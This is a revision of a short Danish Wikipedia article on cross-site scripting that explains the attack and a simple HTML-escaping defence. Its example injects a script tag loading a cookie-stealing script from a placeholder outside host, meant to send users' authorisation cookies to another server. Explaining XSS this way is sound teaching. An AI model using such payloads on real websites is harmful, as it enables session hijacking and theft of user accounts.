Spring til indhold

Cross-site scripting

Fra Wikipedia, den frie encyklopædi
Version fra 4. mar. 2021, 14:37 af Sqlwp (diskussion | bidrag) Sqlwp (diskussion | bidrag) (Oprettet, foklaret et simpelt eksempel, og en simpel løsning)
(forskel) ← Ældre version | Nuværende version (forskel) | Nyere version → (forskel)

Cross-site scripting (XSS) er en form for angreb, der typisk er rettet mod webapplikationer. Et XSS angreb lader brugeren indsætte kode ind i en hjemmeside, som andre brugere ville se. Dette lader dem omdirigere brugeren, sende brugerens input videre mm. Dette er et meget typisk angreb, og hvis ikke brugerens input ikke escapes og renses ordentligt, kan det være

meget farligt.

Eksempler

Forestil dig en side, med en simpel HTML-formular, med et input felt, fx et kommentarfelt.

Når brugen inputter sin tekst, og sender kommentaren, bliver den sat ind i dokumentet:

<p>Brugerens input</p>

Det ville fungere fint, men hvad nu hvis vi indsatte en ondsindet tekst som fx

Hej! <script src="http://enellerandenside.dk/cookiestealer.js">

Så ville HTML-koden på hjemmesiden se sådan her ud:

<p>Hej! <script src="http://enellerandenside.dk/cookiestealer.js"</p>

Og når nogen ser det her, og det bliver indlæst vil koden fra hjemmesiden blive kørt, og det kunne fx være en cookie stjæler, som tager brugerens autoriserings cookie og sender den til en anden server.

Sikring mod XSS-angreb

Disse slags angreb kan dog blive undgået. Man kunne "escape" < og >, så at de ikke bliver set som kode, men blot tekst.

Man kunne have et script der tjekker teksten, og erstatter tegnene som i følgende skema

Tegn Erstatning
< &lt;
> &gt;
& &amp;
" &quot;
' &apos;